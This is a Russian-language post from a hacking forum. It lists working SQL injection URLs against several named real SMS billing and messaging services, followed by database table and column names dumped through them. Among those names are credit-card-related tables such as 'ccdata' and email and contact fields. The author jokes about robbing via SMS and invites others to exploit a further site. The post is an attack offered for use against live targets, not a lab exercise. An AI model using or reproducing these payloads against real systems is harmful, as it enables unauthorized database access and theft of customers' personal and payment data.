|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
различные смс-билинги:
Код:
http://www.3bill.com/casestudy.html?client_id=-1+UNION+SELECT+1,CONCAT(0x6472385F3838777777333371,concat(column_name),0x686874666638385F363632),3,4,5,6,7+FROM+information_schema.columns+where+table_name='clients'+limit+1,1/*
клиентская часть кстати на другой машине:
Код:
http://client.3bill.com/extranet/client_pages/cms/lib/exportXML.php?clientid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*&service=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*&sort=ASC&sheet=detailList.xsl
Код:
client_name
description
client_logo
case_study
picture
sortorder
COLLATIONS
cc_audit
ccdata
charge_model
client_rights
clientrate
clientv2_adodblog
configuration
credit_status
creditnote_lines
creditnotes
cron_manager
prod_3bill:ccdata
cc_audit
ccdata
charge_model
client_rights
clientrate
clientv2_adodblog
configuration
credit_status
creditnote_lines
creditnotes
cron_manager
cron_manager_log
defaultrate
defaultrate_copy
delivery_method
показун:
Код:
http://www.pokazun.ru/sms.php?showDescr=1&pl=1100+union+select+1+from+users_advPlaces/*
посимвольным брутом..
ещё 1 буржуйский с пр6:
Код:
http://mblox.com/news/press-announcements/press_release.php?press_id=11'+UNION+SELECT+1,concat(email_name,0x3b,email),3,4,5,6,7+FROM+careers+limit+1,1/*
Код:
mbloxwebdb:careers
mbloxwebdb:contact_us_countries
mbloxwebdb:doc_reg
mbloxwebdb:enquiry
mbloxwebdb:events
mbloxwebdb:industry_news
mbloxwebdb:press_release
mbloxwebdb:short_code
mbloxwebdb:careers
mbloxwebdb:contact_us_countries
mbloxwebdb:doc_reg
mbloxwebdb:enquiry
mbloxwebdb:events
mbloxwebdb:industry_news
mbloxwebdb:press_release
mbloxwebdb:short_code
career_id
department
title
location
description
email
email_name
publish
id
local
country
send_to
id
name
email
company
country
browser
ip
date_created
id
name
email
telephone
company
country
country_other
industry
enquiry
sentto
browser
ip
date_created
event_id
title
location
date
enddate
message
logo
minilogo
email
event_link
info_link
shortcode_id
shortcode
country
company
phone_number
так что грабить смсками растяжимое понятие)
на последок старичок:
Код:
http://www.digiseller.ru/outside/default.asp?searchstr=--
может кто то и раскрутит)
|